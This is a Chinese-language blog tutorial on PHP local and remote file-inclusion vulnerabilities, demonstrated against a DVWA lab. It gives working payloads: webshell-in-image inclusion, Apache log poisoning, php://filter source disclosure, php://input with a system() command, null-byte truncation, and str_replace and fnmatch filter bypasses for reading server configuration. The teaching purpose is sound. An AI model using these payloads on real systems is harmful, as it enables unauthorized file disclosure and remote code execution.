• 文件包含漏洞


    包含漏洞简介

      包含操作,在大多数Web语言中都会提供的功能,但PHP对于包含文件所提供的功能太强大,太灵活,所以包含漏洞经常出现在PHP语言中,这也就导致了出现了一个错误现状,很多初学者认为包含漏洞只出现PHP语言之中,殊不知在其他语言中可能出现包含漏洞。这也应了一句老话:功能越强大,漏洞就越多。
    

    PHP包含漏洞分类

      包含漏洞不是语言的问题,而是人的思维问题!
      PHP中的四个包含文件函数 include(),include_once(),require()和require_once()。
    
      满足条件
           1、本地包含 LIF
           2、远程包含 RLF 需要 allow_url_include=on  magic_quotes_gpc=off (php.ini)
    

    PHP本地包含实例

      ![](https://img2020.cnblogs.com/blog/1585694/202007/1585694-20200726215018332-1444445354.png)
    

    通过?page=xxx.html 来获取本地的资源信息

    本地包含漏洞测试

      首先上传一个带一句话木马的图片到Web站点上面,其次通过存在包含漏洞的页面来包含刚上传带一句话木马的图片,最后一定要注意相对路径。
    

    PHP远程包含实例

      首先打开C:phpphp-5.2.14-Win32 php-apache2handler.ini 文件(大家的文件路径不一定是这个),找到 allow_url_include=off 这行,把off改成on
    

    包含漏洞上传技巧

      一般菜用一句话木马与图片绑定,在此希望大家多看一下上传漏洞这一章。
    

    包含日志文件

      当某个PHP文件存在本地包含漏洞,而却无法上传正常文件,这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵。
      Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中
      例如:http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=../../../../Apache-20logsaccess.log
    

    PHP包含读文件

      http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
      访问URL,得到经过base64加密后的字符串:
    

    经解密还原得到如下:

    PHP包含写文件

     构造URL: http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post数据为:<?php system('net user');?>
    
     注意:只有在allow _url_include为on的时候才可以使用,如果想查看回显结果那必须在C:phpphp-5.2.14-Win32下找到php-apache2handler.ini打开,查找display_funtions=proc-open,oppen,exec,system…….删掉system重启apache。
    

    包含截断绕过

    <?php
    	if(isset($_GET['page'])){
    		include $_GET['page'] .".php" ;
    	}else{
    		include 'home.php';
    	}
    ?>
    

    这种方法只适合于magic_quotes_gpc=off的时候, php版本小于5.3.4,可通过%00截断绕过,不过现在已经很难见到了,比如:index.php?file=info.txt//////////////…………超过一定数据的/。

    str_replace函数绕过

      使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
      例如page=hthttp://tp://192.168.0.103/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.0.103/phpinfo.txt,成功执行远程命令。
      同时,因为替换的只是“../”、“..”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。
            1、本地文件包含
                  http://192.168.0.103/dvwa/vulnerabilities/fi/page=…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./xampp/htdocs/dvwa/php.ini
            2、绝对路径不受任何影响
                  http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini
            3、远程文件包含
                  http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt
    

    fnmatch函数绕过

      if(!fnmatch("file*",$file)&&$file!="include.php"),当文件既不是"include.php"也不是"file*"(文件名file开头)时才抛出错误,反之意思,如果文件名符合其中一个条件既可以。page=file:///C:/xampp/htdocs/dvwa/php.ini 刚好满足"file*"(文件名file开头)。
      ![](https://img2020.cnblogs.com/blog/1585694/202007/1585694-20200726215910007-1478221243.png)
    
      构造url
            http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini
    
      成功读取了服务器的配置文件
    

    PHP内置协议

      PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。
      具体协议请参照http://www.php.net/manual/zh/wrappers.php。
    

    Songzhibin
  • 相关阅读:
    SQL的Demo 由Access改为SQLite
    Delphi10.3ComboBoxEx下拉左边带图标
    uniGUI学习之IconCombobox(53)
    MySQL的图形GUI界面Navicat操作(03)
    delphi10.3安装使用mySQL(02)从SQLite 转移至Mysql
    [转] Java虚拟机原理图解 系列
    [转]ASM插入代码 visitFieldInsn
    [转]大话+图说:Java字节码指令——只为让你懂
    [转]smali语言之locals和registers的区别
    [转]Smali浅析及dex,java互转
  • 原文地址:https://www.cnblogs.com/binHome/p/13382538.html
Copyright © 2020-2023  润新知